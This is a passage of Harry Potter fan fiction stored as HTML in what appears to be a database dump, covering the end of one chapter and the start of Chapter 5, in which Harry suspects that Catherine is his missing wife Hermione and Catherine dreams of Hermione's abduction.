point.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nsorry.&quot; She said, wiping her eyes. &quot;I really didn\'t mean to laugh,\nbut I never thought I\'d see the day when a man would admit he liked that\nmovie.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">At that\nmoment, a rather loud gasp echoed across the rooftop. Harry peered over to\nwhere Oliver and Sara were and his face reddened.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I think we\nshould leave those two to themselves.&quot; Harry said. Catherine peered around\nhim and saw Oliver and Sara wrapped in a tight embrace, half their clothes\nlying on the floor.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That\nsounds like a good idea.&quot; She said quickly. They went back to the elevator\nand rode back down to the main club floor. Coming back to where the bar was,\nHarry was surprised to see that some of the crowd had dissipated, and he saw\nCaitlyn standing in the corner with Ron, Lavender and Blue.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hey.&quot;\nRon said as Harry and Catherine approached. &quot;Where did you guys go?&quot;\nhe asked, giving Harry an appraising look. Harry ignored him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oliver\ntook us to the rooftop to get some fresh air.&quot; He replied. &quot;You guys\nremember Catherine right?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hi.&quot;\nCatherine said shyly. Caitlyn smiled up at her, and Ron kept smirking at Harry.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;How are\nyou getting home?&quot; Harry asked her. She looked around for Grace.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well, my\nroommate has our Floo Powder, that\'s how we got here&#8230;but I don\'t see her\nanywhere, she must have left with the guy she was with earlier.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m sure\nI have some extra in my bag.&quot; Lavender said kindly. She pawed through it\nfor a few moments. &quot;Or perhaps none at all&#8230;&quot; she looked at Ron.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Looks\nlike we\'re taking the Knight Taxi Service home.&quot; Ron said. &quot;I don\'t\nhave any on me.&quot; Harry pulled Ron aside.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You guys\ngo on ahead of me, I want to make sure she gets home okay.&quot; He said,\njerking his head a little in Catherine\'s direction.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You sure\nthat\'s all you want to do?&quot; Ron asked, grinning stupidly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry rolled\nhis eyes. &quot;Yes, Ron, that\'s all I want to do.&quot;&nbsp; He turned back to the women and felt Ron\'s\nhand on his arm.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\'ll\ntell me later, if you find out anything right?&quot; Ron asked, the concern\napparent in his eyes. He missed Hermione too.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sure.&quot;\nHarry said. &quot;I\'ll be over as soon as I can.&quot; They walked back over to\nwhere the rest of the group was.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Lav, you\nand the kids come with me, ok?&quot; Ron said. Caitlyn looked at her father,\nand he waved her off with Ron. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'ll be\nthere in a little bit ok?&quot; Harry assured her, and she nodded, glancing\nbetween him and Catherine. He knew she\'d be asking questions later.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\nknow, you don\'t need to see me home, I\'ll be fine.&quot; Catherine said,\nlooking to where Ron and Lavender were disappearing out the door.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Nonsense.&quot;\nHarry waved his hand. &quot;It\'s almost two am, you\'re not riding in any sort\nof cab alone at this hour.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine was\nflattered at his concern. &quot;Thanks.&quot; She said. Harry touched her arm\nlightly and steered her out. He quickly managed to flag down one of the taxis\nand they sat inside. Catherine told the driver her address and the cab lurched\naway. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\ntired?&quot; Harry asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;A\nlittle.&quot; She replied. &quot;I\'m up this late usually anyways, so it\'s not\ntoo bad.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A few moments\nlater, the taxi pulled up in front of her flat. Harry paid the driver and they\ngot out.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\ndidn\'t have to pay him for me,&quot; Catherine said as he walked beside her to\nthe door. &quot;I have money with me.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I don\'t\nmind.&quot; Harry said. Catherine pulled out her keys and moved to unlock her door.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Drat!&quot;\nshe said as she dropped the keys on the ground. &quot;I told you, I\'m\nhopeless.&quot; She said as she leaned over to get them. Unfortunately, Harry\nleaned over at the same time and they knocked heads for the second time that\nevening, this time a lot harder than before.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Ouch!&quot;\nthey both said in unison. Catherine tried to straighten up and found herself\nstumbling forward. Harry caught her and held her up by her arms.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Are you\nall right?&quot; he asked anxiously.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah&#8230;I\'ll\nbe fine. &quot; she replied. She looked up and realized how close they were to\neach other. His hand left her arm and a second later she felt his fingertips\nlightly graze her forehead where it had hit his. Catherine felt dizzy as she\nlooked into his eyes, which at the moment deep pools of emerald green; his face\nneared hers. He was going to kiss her, she realized, and she wanted him to.\nSwallowing hard, she closed her eyes in anticipation of his lips on hers.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Instead, she\nfelt his hair brush her forehead, and she opened her eyes to see him step back\nfrom her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nsorry.&quot; Harry said. &quot;I&#8230;I can\'t&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No, it\'s\nokay&#8230;&quot; she tried to say.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry sighed.\n&quot;Are you sure you\'re going to be okay?&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nnodded, a bit disappointed. &quot;Yeah. Grace is a nurse at St. Mungo\'s, she\ncan make this bump go away tonight.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry nodded.\n&quot;All right. I\'ll see you later then?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sure.&quot;\nShe said. He gave her arm one final squeeze, then he apparated away. Catherine\nsighed and opened the door, then went inside and locked it behind her,\nwondering what had just happened out there.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry\napparated into Ron and Lavender\'s home, which was near Ottery St. Catchpole.\nRon and Lavender had just entered their kitchen and Lavender was making some\ntea.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;So?&quot;\nRon asked, not beating around the bush. Harry dropped into a chair and buried\nhis head in his hands.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I don\'t\nknow yet.&quot; He replied. &quot;She looks and acts just like Hermione, but\nit\'s like a Hermione pod person.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What\'s a\npod person?&quot; asked Ron.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;&quot;It\'s like, someone who looks and acts\nlike the person they\'ve taken over. Like, she loves to read, she works in a\nbookstore&#8230;&quot; Harry told Ron and Lavender about the conversation between the\ntwo of them that night (leaving out the Steel Magnolias part, he knew he\'d\nnever hear the end of that from Ron), and finished up by telling them about how\nthey almost kissed. Ron looked dumbfounded.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\nalmost kissed her?&quot; he shouted. Lavender slapped his arm and shushed him. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Don\'t\nwake up the kids!&quot; she said in a low tone of voice.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sorry.&quot;\nRon apologized. &quot;How did that come about?&quot; he asked Harry.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well,&quot;\nHarry began. &quot;We bumped heads, and when she stood back up she sort of fell\nforward and I caught her&#8230;something in her eyes just told me that I was holding\nHermione again. I caught myself just before I kissed her&#8230;. it just wasn\'t the\nright time yet.&quot; He looked back up at Ron and Lavender. &quot;Should I\nhave?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No.&quot;\nLavender said firmly. &quot;What if you had and it scared her off, then you\nmight never find out.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry nodded,\nthankful that he had friends like this to be here for him. &quot;I\'m\ntired.&quot; He said. &quot;Where am I sleeping tonight?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Guest\nbedroom.&quot; Ron said. &quot;It\'s down the hall, second door on the\nleft.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry stood up\nand stretched. &quot;Thanks. I\'ve got a busy day ahead of me tomorrow&#8230;I\'ve\ndecided to move back here and I need to find a flat for Caitlyn and I.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron had a huge\ngrin on his face. &quot;That\'s great!&quot; he said happily. &quot;I don\'t have\nto work tomorrow so I can help you if you want.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sure!&quot;\nHarry replied. &quot;Good night.&quot; He left the room and headed down the\nhall, peeking into Blue\'s room where he and Caitlyn were sleeping in the bunk\nbeds. </p>\n\n<p class="MsoPlainText">Bending over\nher in the bottom bunk, he kissed her forehead gently and left the room again.\nHe found the guest room and fell onto the bed, still in his clothes. Thoughts\nrampaged through his mind, of Catherine, and of Hermione.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">\'When will I\never find out the truth?\' he wondered to himself. Miles away, Catherine was\nthinking the exact same thing.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">(A/N: Well,\nthere\'s some interaction for you, I do hope you enjoyed it. Sometime soon in\none of these chapters, you guys will find out the truth too ;) Please R/R and\nlet me know what you think! Thanks!)</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n\n\n\n\n\n'),
	(77, 5, '\n\n\n\n\n\n\n\n<p class="MsoPlainText">Chapter 5</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">(A/N: Thanks\nagain to EVERYONE who reviewed, it\'s so appreciated, and it totally boosts my\nego ;) I hope things haven\'t been too dull so far, and I am hoping to take\nthings darker and give some insight on what happened to Hermione. Happy reading!)</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nhated it when she had dreams like this. She saw herself, walking alone. The\nstreet was wet and rather poorly lit, and she was walking quickly as if she was\navoiding someone. \'But was it really her?\' she tried to get closer to the woman\nwalking. She had a large bag slung over her shoulder, her bushy light brown\nhair was tied back in a messy ponytail, and she looked pale and tired.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Why am I\nseeing this, that\'s not me, is it?&quot; the woman looked remarkably like her\nexcept for the hair and skin tone. She shifted her arm back and Catherine saw\nsome writing stitched onto her white coat. \'Dr. Granger.\' Catherine read\nsilently. The woman halted, and stood still. A tall figure in a dark cloak with\na hood was striding towards her. Catherine saw her hand go in her pocket and\ngrip a long slim object- her wand. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Granger...&quot;\nThe figure hissed. Hermione froze in fear.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Go\naway.&quot; She tried to say without her voice shaking. &quot;You\'re finished,\nmy husband took away all that you were. You can\'t do anything to me.&quot; She\npulled her wand fully out of her pocket, aware that they were standing on a\nMuggle street, but the need to protect herself was greater.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The figure in\nthe cloak snarled again and leapt at Hermione. She screamed and the person\npressed their hand over her mouth. She bit it and he pulled back and slapped\nher.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Bitch!&quot;\nit spat. It yanked her wand out of her hand and threw it across the street.\n&quot;You\'ll pay for that!&quot; It pulled out it\'s own wand and pointed it at\nHermione, who was still laying on her back on the sidewalk.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Alieno\ncunctus!&quot; A beam of red light shot into Hermione\'s body and jolted her\nviolently. She went limp onto the sidewalk; the figure grabbed her body like it\nwas a sack and tossed her over it\'s shoulder, then disappeared into the night. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine sat\nup with a gasp, her forehead was covered in sweat and her heart was pounding\nmadly. \'What the hell was that?\' she thought. A stream of sunlight came full\nforce through her window and shone in her eyes, making her head pound.\nGroaning, she threw back her coverlet and pulled on a robe over her pajamas. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Walking into\nthe kitchen, she saw Grace huddled over at the table. &quot;Morning.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace\'s head\nsnapped back. &quot;You scared me!&quot; she said.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sorry.&quot;\nCatherine said. &quot;So what happened to you last night?&quot; she asked,\ngetting a cup down from the cabinet and putting the kettle on for some tea.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Last\nnight? Oh right, the club&#8230;&quot; Grace was obviously hung over, Catherine\nrealized, a little amused. &quot;Who was that guy you were with?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace smiled.\n&quot;His name is Justin Finch Fletchley, he\'s 32, and gorgeous.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Justin\nFinch Fletchley&#8230;&quot; Catherine said, biting her lower lip. &quot;Misuse of\nMuggle Artifacts at the Ministry of Magic right?&quot; she said.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace stared\nat her strangely. &quot;How did you know that?&quot; Catherine looked\nperplexed.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I have\nno idea&#8230;&quot; she said, pouring the hot water over the tea bag in her cup. She\nbrought it over to the table and sat down, Grace still staring at her. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?&quot;\nCatherine asked. &quot;I swear, that just popped into my head.&quot; Grace\nleaned back in her chair.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nsorry about the Floo Powder thing&#8230;when we left I couldn\'t find you anywhere and\nI assumed you had some with you.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s all\nright. I was a bit miffed at you at first but I got a ride with someone.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Who?&quot;\nGrace was interested.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nlooked at her and a grin broke out on her face. &quot;You\'ll never believe me\nif I tell you.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh come\non!&quot; Grace wheedled. &quot;I told you who I was with.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine took\na sip of tea and sat back. &quot;Harry Potter.&quot; Grace\'s mouth fell open.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\'re\nserious.&quot; Catherine nodded.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;How can\nyou be so calm, you got a ride home with Harry Potter!&quot; Grace almost\nshouted. &quot;You sat in the same car as him?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;We also\nknocked heads a few times.&quot; Catherine said matter of factly, and her face\nturned red when she thought of the scene that had taken place right on her\ndoorstep.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\'re\nblushing.&quot; Grace said immediately. &quot;What else did you two do?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Nothing!&quot;\nCatherine protested, but she felt the heat in her cheeks rise.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Liar.&quot;\nGrace said. &quot;You were snogging with him!&quot; her eyes grew bright with\nexcitement.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I was\nnot!&quot; Catherine said, a little too quickly. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Right.&quot;\nGrace leaned back and smirked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nrolled her eyes. &quot;Fine.&quot; She said. &quot;We ALMOST did.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Really.&quot;\nGrace said. &quot;Do tell me more.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nwrapped her hands around the mug. &quot;Well, after we knocked heads out there\non the porch, I got a little dizzy and fell forward, he caught me and we were\njust, really close, and then I don\'t know, we almost kissed but he pulled back\nat the last second.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Would\nyou have kissed him?&quot; Grace asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nthought for a moment, and then a slight smile crossed her face. &quot;Yes, I\nthink I probably would have&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace smiled\nat her for a moment, and then a shadow overtook her face.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;By the\nway&#8230;&quot; she said. &quot;Your favorite person stopped by here this morning.\nBugger woke me up too.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nlooked at Grace. &quot;Ugh, please don\'t tell me&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yup.\nDuncan.&quot; Grace made a horrible face. &quot;The cheating bastard\nhimself.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What did\nhe want?&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace smirked.\n&quot;He asked where you were and I told him you still weren\'t back from being\nout last night.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh\nGod.&quot; Catherine moaned. &quot;Now next time he sees me he\'ll bug me about\nthat. Honestly, you\'d think I was the one who cheated and then broke things\noff!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You seem\nupset about it.&quot; Grace commented.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well, I\nguess you could say I\'m more upset that I wasted two years with that git and\nthen he went and cheated on me&#8230;&quot; Catherine said. &quot;I can honestly say\nI don\'t want anything to do with him at all anymore.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace patted\nher hand. &quot;Good. &quot; she gave Catherine a sly wink. &quot;Besides, I\ndaresay you\'ve got one Harry Potter within your grasp now huh.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Shut up\nwould you?&quot; Catherine laughed. &quot;So tell me, how did Justin get home\nthis morning?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace\'s mouth\nsnapped shut. &quot;What are you talking about?&quot; she asked, her face was\nnow the one growing red.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Come on,\nI know what goes on in your dates.&quot; Catherine said. &quot;What time did he\nleave?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;About an\nhour ago.&quot; Grace replied. &quot;He had his own Floo Powder.&quot; She gave\nCatherine a quirky smile and went to put her own mug in the sink.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nstared into her cup pensively. &quot;I had such a strange dream last\nnight.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What\nabout?&quot; Grace asked, returning to the table.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\npursed her lips. &quot;Well, there was this woman, I thought she was me, but\nshe had light brown hair and lighter skin&#8230;.&quot; She went on to describe the\ndream in as much detail as she could remember. Grace, for some reason, looked\nquite pale when Catherine finished.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Wha...\nwhat do you think it all means?&quot; Grace asked, looking at her intensely.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nshrugged, not noticing the stare she was getting from Grace. &quot;I have no\nidea. There was a name stitched on the coat&#8230;&quot; Catherine tried in vain to\nremember what it said, but it had already slipped from her mind.\n&quot;Damn.&quot; She said regretfully. &quot;I\'ve already forgotten the\nname!&quot; she sighed. &quot;And I was going to do some research on it\ntoday.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace leaned\nback in relief; her secret was safe for the time being. &quot;What are you\ndoing today?&quot; she asked, trying to change the subject.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nshrugged. &quot;I don\'t know. I don\'t have to work, so I figured I\'d just sit\naround and read today.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Why\ndon\'t you meet me for lunch over by the hospital?&quot; Grace urged. &quot;It\'s\nboring just sitting around here all day.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nnodded thoughtfully. &quot;I think I will. What time?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Say\naround one.&quot; Grace looked at her watch. &quot;I\'ve gotta go!&quot; with\nthat she apparated out. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\ndrank the rest of her tea and put her empty up in the sink. She stretched her\narms over her head and then headed towards the den, where she had left her\nbook. Spying it on the end table, she picked it up and took it into the living\nroom.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Study of\nAdvanced Transfiguration and Animagi.&quot; She read the cover to herself and\nsmiled. Grace endlessly teased her on her choice of reading materials, but\nCatherine loved to learn, and she could never find enough to read and study\nabout. She curled up in her chair and settled back for a few hours of reading.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">***</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry groaned\nand rolled over on the bed in Ron and Lavender\'s guest room. He fumbled his\nhand towards the nightstand and managed to locate his glasses, which he slipped\non and blinked to adjust his focus. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Ughremplsh&quot;\nhe muttered. A girlish giggle brought him from his sleepy haze. He sat back up\nand watched as a tangle of brown hair attached to a body propelled their self\nonto his bed and giggled again. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Caty\nCat!&quot; he exclaimed, and he pulled her onto his lap and began tickling her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Dad!!&quot;\nshe shrieked. &quot;Stop! I give!&quot; she was laughing hysterically.&nbsp; He stopped tickling her and she pulled away\nand sat at the foot of the bed.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\nsleep well last night love?&quot; Harry asked her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah\npretty well. &quot; she made a face. &quot;But Blue snores!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry laughed\nout loud. &quot;His dad used to snore too. Some nights in the dormitory he\'d\nkeep us up cause he sounded like a roaring lion.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh, so\nfunny Harry.&quot; Ron quipped, poking his head in the open door. &quot;For\nyour information, you weren\'t the quietest of sleepers either.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well we\ndon\'t need to go there do we?&quot; Harry joked. He looked at his daughter\nagain. &quot;What\'s up?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She bit her\nlip, looking a bit subdued. She held out a picture, which Harry instantly\nrecognized as one of his and Hermione\'s wedding portraits.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Where\ndid you get that?&quot; Harry asked, taking it from her and gazing on it. The\nHarry in the photo had his arms around the photo Hermione\'s waist, and was\ntrying to nuzzle her on the neck, while she grinned for the camera.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Uncle\nRon gave it to me.&quot; Caitlyn replied. Harry gazed at the picture again, and\nwhen he looked back up, she was staring at him with the strangest expression on\nher face.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What\'s\nwrong?&quot; Harry asked, concerned. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn bit\nher lip again and took a deep breath. &quot;That lady in the bookstore, even\nthough she has dark hair and she\'s tanned, looks a lot like Mum.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry knew his\ndaughter was smart; he figured he shouldn\'t be surprised that she had figured\nout that much on her own, there was too much of Hermione in her he realized\nagain.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well&#8230;&quot;\nHarry trailed off, looking for the right words. &quot;I don\'t know how to\nreally explain this to you&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Just\ntell me Dad.&quot; Caitlyn said, &quot;I\'m not a baby.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry gave her\na half smile, &quot;No, you certainly aren\'t.&quot; He patted the empty bed\nnext to him and she scampered up next to him. &quot;I think&#8230;I just think, I\ndon\'t know, that Catherine, could be your mum.&quot; He watched as Caitlyn\nabsorbed this info, and being the type of child she was, did not get over\nexcited. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Look,\nlove, this is still a surprise for me too&#8230;&quot; Harry reassured her. &quot;And\nI promise, we won\'t rush into anything.&quot; He was relieved to see a small\nsmile break out onto her face. &quot;I have another surprise for you.&quot; He\nsaid.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?&quot;\nCaitlyn asked. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p 